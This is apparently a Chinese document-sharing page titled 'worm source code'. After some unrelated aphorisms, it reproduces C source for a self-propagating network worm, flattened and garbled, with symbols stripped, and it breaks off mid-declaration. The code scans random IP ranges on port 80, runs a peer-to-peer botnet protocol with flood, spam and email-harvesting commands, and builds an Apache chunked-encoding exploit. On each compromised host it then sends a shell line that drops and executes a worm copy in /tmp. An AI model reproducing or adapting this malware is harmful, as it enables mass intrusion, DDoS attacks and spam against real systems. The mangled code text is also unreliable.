蠕虫源代码.doc

1、蠕虫源代码.txt 遇事潇洒一点，看世糊涂一点。相亲是经销，恋爱叫直销，抛绣球招亲则为围标。没有准备请不要开始，没有能力请不要承诺。爱情这东西，没得到可能是缺憾，不表白就会有遗憾，可是如果自不量力，就只能抱憾了。#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SCAN#undef LARGE_NET#und

2、ef FREEBSD#define LINKS 64#define CLIENTS 128#define PORT 2001#define SCANPORT 80#define SCANTIMEOUT 5#define MAXPATH 4096#define ESCANPORT 10100/#define TCP_PENDING 1#define TCP_CONNECTED 2#define SOCKS_REPLY 3#define FREE(x) if (x) free(x);x=NULL; enum ASUCCESS=0, ARESOLVE, ACONNECT, ASOCKET, ABIN

3、D, AINUSE, APENDING, AINSTANCE, AUNKNOWN ;enum AREAD=1, AWRITE=2, AEXCEPT=4 ;void Log(char *format,.) va_list args;int nBuf;char szBuffer4096;FILE *a=fopen(“/bin/.log“,“a“);va_start(args,format);nBuf=vsnprintf(szBuffer,sizeof(szBuffer),format,args);va_end(args);if (a = NULL) return;fprintf(a,“%s“,sz

4、Buffer);fclose(a);void nas(int a) #ifdef SCANunsigned char classes = 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 1

5、32, 133, 134, 135, 136, 137, 138,139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192

6、, 193, 194, 195, 196,198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,230, 231, 232, 233, 234, 235, 236, 237, 238, 239 ;#endifstruct ainst void *ext,*ext5;int ext2,ext3,ext4;int sock,error;unsigned long le

7、n;struct sockaddr_in in;struct header char tag;int id;unsigned long len;unsigned long seq;struct route_rec struct header h;unsigned char hops;unsigned long server;struct kill_rec struct header h;struct sh_rec struct header h;struct version_rec struct header h;struct ping_rec struct header h;struct p

8、ong_rec struct header h;unsigned long from;struct update_rec struct header h;struct list_rec struct header h;struct udp_rec struct header h;unsigned long size;unsigned long target;unsigned short port;unsigned long secs;struct tcp_rec struct header h;unsigned long target;unsigned short port;unsigned

9、long secs;struct gen_rec struct header h;unsigned long target;unsigned short port;unsigned long secs;struct df_rec struct header h;unsigned long target;unsigned long secs;struct add_rec struct header h;unsigned long server;unsigned long socks;unsigned long bind;unsigned short port;struct data_rec st

10、ruct header h;struct addsrv_rec struct header h;struct initsrv_rec struct header h;struct qmyip_rec struct header h;struct myip_rec struct header h;unsigned long ip;struct escan_rec struct header h;unsigned long ip;struct click_rec struct header h;struct spam_rec struct header h;unsigned long from;u

11、nsigned long to;struct exploit_rec struct header h;unsigned long ip;struct ainst clientsCLIENTS*2;struct ainst udpclient;unsigned int sseed;struct route_table int id;unsigned long ip;unsigned short port; routesLINKS;unsigned long numlinks,*links=NULL, myip=0;unsigned long sequenceLINKS;void gsrand(u

12、nsigned long s) sseed=s; unsigned long grand() sseed=(sseed*965764979)%65535)/2; return sseed; unsigned int *pids=NULL;unsigned long numpids=0;int mfork() unsigned int parent, *newpids, i;parent=fork();if (parent error) case ASUCCESS:return “Operation Success“;case ARESOLVE:return “Unable to resolve

13、“;case ACONNECT:return “Unable to connect“;case ASOCKET:return “Unable to create socket“;case ABIND:return “Unable to bind socket“;case AINUSE:return “Port is in use“;case APENDING:return “Operation pending“;case AUNKNOWN:default:return “Unknown“;return “;int aresolve(char *host) struct hostent *hp;

14、if (inet_addr(host) = 0 | inet_addr(host) = -1) unsigned long a;if (hp = gethostbyname(host) = NULL) return 0;bcopy(char*)hp-h_addr, (char*)return a;else return inet_addr(host);int abind(struct ainst *inst,unsigned long ip,unsigned short port) struct sockaddr_in in;if (inst = NULL) return (AINSTANCE

15、);if (inst-sock = 0) inst-error=AINSTANCE;return (AINSTANCE);inst-len=0;in.sin_family = AF_INET;if (ip = NULL) in.sin_addr.s_addr = INADDR_ANY;else in.sin_addr.s_addr = ip;in.sin_port = htons(port);if (bind(inst-sock, (struct sockaddr *)return (ABIND);inst-error=ASUCCESS;return ASUCCESS;int await(st

16、ruct ainst *inst,unsigned long len,char type,long secs) struct timeval tm,*tmp;fd_set read,write,except,*readp,*writep,*exceptp;int p,ret,max;if (inst = NULL) return (AINSTANCE);for (p=0;plen=0;if (secs 0) tm.tv_sec=secs;tm.tv_usec=0;tmp=else tmp=(struct timeval *)NULL;if (type for (p=0;psock,readp=

17、else readp=(struct fd_set*)0;if (type for (p=0;psock,writep=else writep=(struct fd_set*)0;if (type for (p=0;psock,exceptp=else exceptp=(struct fd_set*)0;for (p=0,max=0;psock max) max=instp-sock;if (ret=select(max+1,readp,writep,exceptp,tmp) = 0) for (p=0;perror=APENDING;return (APENDING);if (ret = -

18、1) return (AUNKNOWN);for (p=0;psock,if (type if (type for (p=0;perror=ASUCCESS;return (ASUCCESS);int atcp_sync_check(struct ainst *inst) if (inst = NULL) return (AINSTANCE);inst-len=0;errno=0;if (connect(inst-sock, (struct sockaddr *)return (ASUCCESS);if (!(errno = EINPROGRESS |errno = EALREADY) ins

19、t-error=ACONNECT;return (ACONNECT);inst-error=APENDING;return (APENDING);int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) int flag=1;struct hostent *hp;if (inst = NULL) return (AINSTANCE);inst-len=0;if (inst-sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) error=ASOCKET;return

20、(ASOCKET);if (inet_addr(host) = 0 | inet_addr(host) = -1) if (hp = gethostbyname(host) = NULL) inst-error=ARESOLVE;return (ARESOLVE);bcopy(char*)hp-h_addr, (char*)else inst-in.sin_addr.s_addr=inet_addr(host);inst-in.sin_family = AF_INET;inst-in.sin_port = htons(port);flag = fcntl(inst-sock, F_GETFL,

21、 0);flag |= O_NONBLOCK;fcntl(inst-sock, F_SETFL, flag);inst-error=ASUCCESS;return (ASUCCESS);int atcp_connect(struct ainst *inst,char *host,unsigned int port) int flag=1;unsigned long start;struct hostent *hp;if (inst = NULL) return (AINSTANCE);inst-len=0;if (inst-sock = socket(AF_INET, SOCK_STREAM,

22、 IPPROTO_TCP) error=ASOCKET;return (ASOCKET);if (inet_addr(host) = 0 | inet_addr(host) = -1) if (hp = gethostbyname(host) = NULL) inst-error=ARESOLVE;return (ARESOLVE);bcopy(char*)hp-h_addr, (char*)else inst-in.sin_addr.s_addr=inet_addr(host);inst-in.sin_family = AF_INET;inst-in.sin_port = htons(por

23、t);flag = fcntl(inst-sock, F_GETFL, 0);flag |= O_NONBLOCK;fcntl(inst-sock, F_SETFL, flag);start=time(NULL);while(time(NULL)-start sock, (struct sockaddr *)return (ASUCCESS);if (!(errno = EINPROGRESS |errno = EALREADY) break;sleep(1);inst-error=ACONNECT;return (ACONNECT);int atcp_accept(struct ainst

24、*inst,struct ainst *child) int sock;unsigned int datalen;if (inst = NULL | child = NULL) return (AINSTANCE);datalen=sizeof(child-in);inst-len=0;memcpy(void*)child,(void*)inst,sizeof(struct ainst);if (sock=accept(inst-sock,(struct sockaddr *)return (APENDING);child-sock=sock;inst-len=datalen;inst-err

25、or=ASUCCESS;return (ASUCCESS);int atcp_send(struct ainst *inst,char *buf,unsigned long len) long datalen;if (inst = NULL) return (AINSTANCE);inst-len=0;errno=0;if (datalen=write(inst-sock,buf,len) error=APENDING;return (APENDING);else inst-error=AUNKNOWN;return (AUNKNOWN);inst-len=datalen;inst-error

26、=ASUCCESS;return (ASUCCESS);int atcp_sendmsg(struct ainst *inst, char *words, .) static char textBuffer2048;unsigned int a;va_list args;va_start(args, words);a=vsprintf(textBuffer, words, args);va_end(args);return atcp_send(inst,textBuffer,a);int atcp_recv(struct ainst *inst,char *buf,unsigned long

27、len) long datalen;if (inst = NULL) return (AINSTANCE);inst-len=0;if (datalen=read(inst-sock,buf,len) error=APENDING;return (APENDING);else inst-error=AUNKNOWN;return (AUNKNOWN);if (datalen = 0 return (AUNKNOWN);inst-len=datalen;inst-error=ASUCCESS;return (ASUCCESS);int atcp_close(struct ainst *inst)

28、 if (inst = NULL) return (AINSTANCE);inst-len=0;if (close(inst-sock) error=AUNKNOWN;return (AUNKNOWN);inst-sock=0;inst-error=ASUCCESS;return (ASUCCESS);int audp_listen(struct ainst *inst,unsigned int port) int flag=1;if (inst = NULL) return (AINSTANCE);inst-len=0;if (inst-sock = socket(AF_INET,SOCK_

29、DGRAM,IPPROTO_UDP) error=ASOCKET;return (ASOCKET);inst-in.sin_family = AF_INET;inst-in.sin_addr.s_addr = INADDR_ANY;inst-in.sin_port = htons(port);if (bind(inst-sock, (struct sockaddr *)return (ABIND);flag = fcntl(inst-sock, F_GETFL, 0);flag |= O_NONBLOCK;fcntl(inst-sock, F_SETFL, flag);inst-error=A

30、SUCCESS;return (ASUCCESS);int audp_setup(struct ainst *inst,char *host,unsigned int port) int flag=1;struct hostent *hp;if (inst = NULL) return (AINSTANCE);inst-len=0;if (inst-sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP) error=ASOCKET;return (ASOCKET);if (inet_addr(host) = 0 | inet_addr(host) = -1)

31、 if (hp = gethostbyname(host) = NULL) inst-error=ARESOLVE;return (ARESOLVE);bcopy(char*)hp-h_addr, (char*)else inst-in.sin_addr.s_addr=inet_addr(host);inst-in.sin_family = AF_INET;inst-in.sin_port = htons(port);flag = fcntl(inst-sock, F_GETFL, 0);flag |= O_NONBLOCK;fcntl(inst-sock, F_SETFL, flag);in

32、st-error=ASUCCESS;return (ASUCCESS);int audp_send(struct ainst *inst,char *buf,unsigned long len) long datalen;if (inst = NULL) return (AINSTANCE);inst-len=0;errno=0;if (datalen=sendto(inst-sock,buf,len,0,(struct sockaddr*)return (APENDING);else inst-error=AUNKNOWN;return (AUNKNOWN);inst-len=datalen

33、;inst-error=ASUCCESS;return (ASUCCESS);int audp_sendmsg(struct ainst *inst, char *words, .) static char textBuffer2048;unsigned int a;va_list args;va_start(args, words);a=vsprintf(textBuffer, words, args);va_end(args);return audp_send(inst,textBuffer,a);int audp_recv(struct ainst *inst,struct ainst

34、*client,char *buf,unsigned long len) long datalen,nlen;if (inst = NULL) return (AINSTANCE);nlen=sizeof(inst-in);inst-len=0;memcpy(void*)client,(void*)inst,sizeof(struct ainst);if (datalen=recvfrom(inst-sock,buf,len,0,(struct sockaddr*)return (APENDING);else inst-error=AUNKNOWN;return (AUNKNOWN);inst

35、-len=datalen;inst-error=ASUCCESS;return (ASUCCESS);int audp_close(struct ainst *inst) if (inst = NULL) return (AINSTANCE);inst-len=0;if (close(inst-sock) error=AUNKNOWN;return (AUNKNOWN);inst-sock=0;inst-error=ASUCCESS;return (ASUCCESS);unsigned long _decrypt(char *str, unsigned long len) unsigned l

36、ong pos=0,seed4=0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7;gsrand(seed0+seed1)*seed2)seed3);while(1) gsrand(seedpos%4+grand()+pos);strpos-=grand();pos+;if (pos = len) break;return pos;unsigned long _encrypt(char *str, unsigned long len) unsigned long pos=0,seed4=0x78912389,0x094e7bc43,0xba5de30b,0

37、x7bc54da7;gsrand(seed0+seed1)*seed2)seed3);while(1) gsrand(seedpos%4+grand()+pos);strpos+=grand();pos+;if (pos = len) break;return pos;int useseq(unsigned long seq) unsigned long a;if (seq = 0) return 0;for (a=0;a0;i-) sequencei-1=sequencei;sequence0=seq;void addserver(unsigned long server) unsigned

38、 long *newlinks, i, stop;char a=0;for (i=0;i= 16 else if (a numlinks) a=numlinks;nics=rand()%(numlinks-a)+1);a+=nics;for (;nics700?700:numlinks-b;unsigned long *_links=links+b;unsigned char *str;if (b numlinks) break;str=(unsigned char*)malloc(sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_

39、rec);if (str = NULL) return;memset(void*)rc.h.tag=tag;rc.h.id=id;rc.h.len=sizeof(struct next_rec)*_numlinks;memcpy(void*)str,(void*)for (a=0;ain.sin_addr.s_addr,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec);else audp_send(inst,(void*)str,sizeof(struct addsrv_rec)+(_numlinks

40、*sizeof(struct next_rec);FREE(str);void senderror(struct ainst *inst, int id, char *buf2) struct data_rec rc;char *str,*buf=strdup(buf2);memset(void*)rc.h.tag=0x45;rc.h.id=id;rc.h.seq=newseq();rc.h.len=strlen(buf2);_encrypt(buf,strlen(buf2);str=(char*)malloc(sizeof(struct data_rec)+strlen(buf2)+1);i

41、f (str = NULL) FREE(buf2);return;memcpy(void*)str,(void*)memcpy(void*)(str+sizeof(struct data_rec),buf,strlen(buf2);audp_send(FREE(str);FREE(buf);int isgood(char a) if (a = a getb=getb-next;newb=(struct _linklist *)malloc(sizeof(struct _linklist);newb-name=strdup(str);newb-next=linklist;linklist=new

42、b;void cleanup(char *buf) while(bufstrlen(buf)-1 = n | bufstrlen(buf)-1 = r | bufstrlen(buf)-1 = ) bufstrlen(buf)-1 = 0;while(*buf = n | *buf = r | *buf = ) unsigned long i;for (i=strlen(buf)+1;i0;i+) bufi-1=bufi;void ScanFile(char *f) FILE *file=fopen(f,“r“);unsigned long startpos=0;if (file = NULL

43、) return;while(1) char buf2;memset(buf,0,2);fseek(file,startpos,SEEK_SET);fread(buf,1,1,file);startpos+;if (feof(file) break;if (*buf = ) char email256,c,d;unsigned long pos=0;while(1) unsigned long oldpos=ftell(file);fseek(file,-1,SEEK_CUR);c=fgetc(file);if (!isgood(c) break;fseek(file,-1,SEEK_CUR)

44、;if (oldpos = ftell(file) break;for (pos=0,c=0,d=0;pos 0) if(FD_ISSET(sock, n -= 3, p += 3) if (n 2;ch = ENC(ch);if (sendch(a,ch) 4) ch = ENC(ch);if (sendch(a,ch) 6) ch = ENC(ch);if (sendch(a,ch) 8) *p+ = (victim.retaddr 16) *p+ = (victim.retaddr 24) PUT_BYTES(victim.repzero, 0);PUT_STRING(“rn“);PUT

45、_STRING(“Transfer-Encoding: chunkedrn“);snprintf(buf, sizeof(buf) - 1, “rn%xrn“, PADSIZE_2);PUT_STRING(buf);PUT_BYTES(PADSIZE_2, PADDING_2);snprintf(buf, sizeof(buf) - 1, “rn%xrn“, victim.delta);PUT_STRING(buf);write(sock, expbuf, p - expbuf);responses = 0;while (1) fd_set fds;int n;struct timeval t

46、v;tv.tv_sec = 15;tv.tv_usec = 0;FD_ZERO(FD_SET(sock, memset(buf, 0, sizeof(buf);if(select(sock + 1, i = 2) write(sock,“O“,1);alarm(3600);sleep(10);writem(sock,“nrm -rf /tmp/.a;cat /tmp/.uua /tmp/.a;killall -9 .a;chmod +x /tmp/.a;killall -9 .a;/tmp/.a %s;exit;n“,localip);writem(sock,buf);while(read(s

47、ock,buf,1024)=0);exit(0);free(expbuf);close(sock);return;#endifstruct dns unsigned short int id;unsigned char rd:1;unsigned char tc:1;unsigned char aa:1;unsigned char opcode:4;unsigned char qr:1;unsigned char rcode:4;unsigned char unused:2;unsigned char pr:1;unsigned char ra:1;unsigned short int que

48、_num;unsigned short int rep_num;unsigned short int num_rr;unsigned short int num_rrsup;struct dns_rr unsigned short type;unsigned short rr_class;unsigned int ttl;unsigned short rdlength;struct _elist char *name;struct _elist *next;struct _mailserver unsigned long count;char *name;struct _elist *elist;struct _mailserver *next; *mailservers=(struct _mailser